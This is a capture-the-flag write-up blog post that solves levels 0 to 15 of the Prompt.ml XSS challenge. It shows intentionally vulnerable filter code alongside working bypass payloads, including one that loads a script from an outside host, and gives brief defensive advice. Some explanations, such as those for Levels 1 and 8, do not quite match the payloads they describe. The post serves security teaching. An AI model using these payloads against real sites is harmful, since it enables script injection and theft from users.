Published on December 31, 2024 by tms

Solving the Prompt.ml XSS Challenge: A Comprehensive Guide

Categories: General Web Exploitation Tags:

The Prompt.ml XSS Challenge, held in the summer of 2014, is a legendary 16-level gauntlet (with 4 additional hidden levels) that tested participants’ XSS (Cross-Site Scripting) skills. Each level introduced unique filters and constraints, requiring clever tricks to bypass them and execute the essential prompt(1) payload. This blog post dives into the solutions for Levels 0 through 6, providing both code and solution explanations.

Challenge Overview

Participants needed to craft XSS payloads that:

  • Executed prompt(1) without user interaction.
  • Rendered in at least one major browser: Chrome, Firefox, or Internet Explorer (IE10+).
  • Were as short as possible.

Level 0: The Warm-Up

Vulnerable Code

function escape(input) {
    return '<input type="text" value="' + input + '">';
}

This level accepts user input and places it into an HTML input element without any sanitization. The goal is to inject executable JavaScript.

Solution

  1. Payload:"><svg/onload=prompt(1)>
    • Inserts an SVG element with an onload event that triggers prompt(1).
    • Works in most browsers.
  2. IE-Specific Payload:"onresize=prompt(1)>
    • Exploits IE10’s resize event, which fires for almost any markup element.

Background

The onresize event is unique to older IE versions, allowing XSS without typical user interaction.


Level 1: Stripping Tags

Vulnerable Code

function escape(input) {
    var stripTagsRE = /</?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>';
}

This function removes HTML tags but fails to handle inline event attributes.

Solution

Payload: <svg/onload=prompt(1)

  • Appends a space to bypass tag stripping and executes the onload handler.

Background

No special browser-specific quirks here—a standard SVG vector suffices.


Level 2: Blocking Parentheses and Equals

Vulnerable Code

function escape(input) {
    input = input.replace(/[=(]/g, '');
    return input;
}

Parentheses (() and equals (=) are stripped, complicating traditional XSS payloads.

Solution

  1. Firefox/MSIE Payload:<svg><script>prompt&#40;1)<b>
    • Uses HTML entity &#40; for (.
  2. Chrome-Specific Payload:<svg><script>prompt&#40;1)</script>
    • Adds a closing </script> for compatibility.

Background

SVGs and HTML entities are invaluable for crafting bypasses. The payload exploits how browsers decode entities within <script> tags.


Level 3: Breaking Out of Comments

Vulnerable Code

function escape(input) {
    input = input.replace(/->/g, '_');
    return '<!-- ' + input + ' -->';
}

The function removes potential comment delimiters (-->) to prevent script execution.

Solution

Payload: --!><svg/onload=prompt(1)

  • Uses the alternate comment terminator --!> to escape the comment block.

Background

The HTML5 specification allows --!> as a valid comment closer, despite it being unconventional.


Level 4: Exploiting DecodeURIComponent

Vulnerable Code

function escape(input) {
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

The code ensures scripts originate from the prompt.ml domain. However, it decodes input using decodeURIComponent, enabling bypasses via obfuscation.

Solution

  1. Payload://prompt.ml%2f@example.com/test.js
    • %2f decodes to /, tricking the function into treating example.com as part of the authentication header.
  2. Optimized Payload (17 chars)://prompt.ml%2f@⒕₨
    • Uses Unicode characters that resolve to required domain components.

Background

This solution highlights quirks in URL decoding and Unicode transformations.


Level 5: Bypassing Attribute Filters

Vulnerable Code

function escape(input) {
    input = input.replace(/>|on.+?=|focus/gi, '_');
    return '<input value="' + input + '" type="text">';
}

The function blocks event handlers and closing brackets (>), but fails to handle multi-line input or alternate event attributes.

Solution

  1. Image Input Payload:"type=image src onerror="prompt(1)
    • Converts the element into an image input and uses onerror to execute JavaScript.
  2. MSIE-Specific Payload:"onresize="prompt(1)
    • Exploits onresize for a shorter vector.

Background

This level emphasizes the pitfalls of regular expression-based filters and the versatility of event attributes.


Level 6: DOM Clobbering

Vulnerable Code

function escape(input) {
    if (/javascript|vbscript|data:/gi.test(input)) {
        return 'Invalid input.';
    }
    return '<form action="' + input + '"></form>';
}

Filters block dangerous schemes like javascript:, but fail to prevent DOM clobbering.

Solution

Payload: <input name=action onfocus=prompt(1)>

  • Clobbers the form’s action property by introducing an input element with the same name.
  • Executes prompt(1) when the input gains focus.

Background

DOM clobbering exploits how browsers associate form properties with input elements, allowing attackers to override critical attributes.

Level 7

Vulnerable Code:

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

Explanation: The function splits the input into segments separated by the # character and limits each segment to 12 characters, wrapping them in a <p> tag. There is no sanitization of input, allowing manipulation of the generated HTML structure.

Payload:

"><svg/a="onload='/*"><p class="comment" title="*/prompt(1)'">

Solution Explanation:

  • Use proper HTML-encoding for user inputs before rendering them in the DOM.
  • Replace dangerous characters like <, >, and " with their HTML entity equivalents (&lt;, &gt;, &quot;).

Level 8

Vulnerable Code:

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}

Explanation: The function attempts to strip dangerous characters from the input, but it fails to account for Unicode line and paragraph separators, which are valid in JavaScript.

Payload:

<script>
// console.log(
prompt(1)
-->
</script>

Solution Explanation:

  • Sanitize the input by explicitly escaping Unicode line and paragraph separators.
  • Use a library such as DOMPurify to sanitize input before embedding it into a script.

Level 9

Vulnerable Code:

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    return '<h1>' + input + '</h1>';
}

Explanation: The toUpperCase() method converts certain Unicode characters to ASCII characters (e.g., ſ becomes “S”). This behavior can be exploited to bypass the regular expression that filters start-tags.

Payload:

<ſscript/src=//malicious.com></script>

Solution Explanation:

  • Implement a stricter regular expression that includes Unicode equivalence.
  • Use a white-list approach to allow only safe characters and tags.

Level 10

Vulnerable Code:

function escape(input) {
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    input = input.replace(/'/g, '');
    return '<script>' + input + '</script> ';
}

Explanation: The function replaces dangerous keywords like prompt and strips single quotes, but a split keyword (pr'ompt) is reassembled after the removal of the single quote.

Payload:

pr'ompt(1)

Solution Explanation:

  • Use a strict white-list to validate input rather than blacklisting keywords or characters.
  • Avoid rendering unsanitized input directly into executable code.

Level 11

Vulnerable Code:

function escape(input) {
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}

Explanation: The input is heavily filtered but fails to restrict alphanumeric operators such as in, which can be used to concatenate malicious payloads.

Payload:

"(prompt(1))in"

Solution Explanation:

  • Use JSON parsing (JSON.parse) to validate data instead of concatenating raw strings.
  • Reject inputs containing unusual operators or sequences.

Level 12

Vulnerable Code:

function escape(input) {
    input = encodeURIComponent(input).replace(/'/g, '');
    input = input.replace(/prompt/g, 'alert');
    return '<script>' + input + '</script> ';
}

Explanation: The use of encodeURIComponent encodes most special characters but leaves some (like . and ()), which can be exploited using JavaScript’s toString method with a numeric base.

Payload:

eval(630038579..toString(30))(1)

Solution Explanation:

  • Avoid using eval or similar functions.
  • Properly escape and validate all user inputs before rendering them in executable contexts.
  • Use libraries like DOMPurify to ensure sanitized script contexts.

Level 13

Goal: The goal is to tamper with a JSON object (config) containing a source key and bypass limitations using exotic techniques such as leveraging __proto__.

Vulnerable Code:

function escape(input) {
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    try {
        var data = JSON.parse(input);
        var config = extend({
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));

        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }

        var source = config.source.replace(/"/g, '');
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

Vulnerable Code Explanation:

  1. The extend function merges the provided object with the default configuration, potentially introducing malicious properties.
  2. A regex checks config.source for invalid characters, deleting it if found.
  3. If config.source is deleted, the accessor property __proto__ is exploited to provide an alternate source value.
  4. The String.replace method is used to sanitize the source, but the replacement patterns allow for bypasses.

Payload:

{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`onerror=prompt(1)>"}}

Explanation of Payload:

  1. The source key contains an invalid value, triggering deletion.
  2. The __proto__ property sets a fallback source value to the payload.
  3. The $ special pattern in String.replace inserts the remainder of the string, enabling payload injection.

Solution Explanation:

  • Use Object.create(null) to ensure no inheritance from Object.prototype.
  • Replace unsafe JSON.parse with strict parsing techniques or a dedicated sanitization library.

Level 14

Goal: Craft a payload that works despite forced capitalization, limited URI schemes, and restricted characters.

Vulnerable Code:

function escape(input) {
    input = input.toUpperCase();
    input = input.replace(/\/\/|\w+:/g, 'data:');
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');
    return '<img src="' + input + '">';
}

Vulnerable Code Explanation:

  1. All input is converted to uppercase.
  2. Only data: URIs are allowed; other schemes are replaced.
  3. Several special characters are stripped or replaced, limiting traditional encoding methods.

Payload:

"><iframe/src="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4="

Explanation of Payload:

  1. Uses a data: URI scheme with a base64-encoded payload.
  2. Encoded payload translates to a valid script execution in uppercase.

Solution Explanation:

  • Implement stricter input validation and ensure base64 decoding does not inadvertently introduce executable scripts.
  • Restrict the data: scheme to only allow specific MIME types, such as image/.

Level 15

Goal: Exploit the behavior of splitting and shortening input segments, avoiding JS comments and using HTML comments for injection.

Vulnerable Code:

function escape(input) {
    input = input.replace(/\*/g, '');
    var segments = input.split('#');
    return segments.map(function(title, index) {
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment='{"id":' + index + '}'></p>';
    }).join('\n');
}

Vulnerable Code Explanation:

  1. Input is split into segments by # and shortened to 15 characters.
  2. Segments are wrapped in HTML <p> tags, introducing a potential injection point.
  3. No proper escaping of input within attributes.

Payload:

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

Explanation of Payload:

  1. Leverages HTML comments (<!--) to hide excess characters and maintain injection flow.
  2. Uses <svg> and <script> tags for executing JavaScript.

Solution Explanation:

  • Sanitize all input to escape special characters such as <, >, and ".
  • Use a library like DOMPurify to prevent injection attacks.

Leave a Reply

Your email address will not be published. Required fields are marked *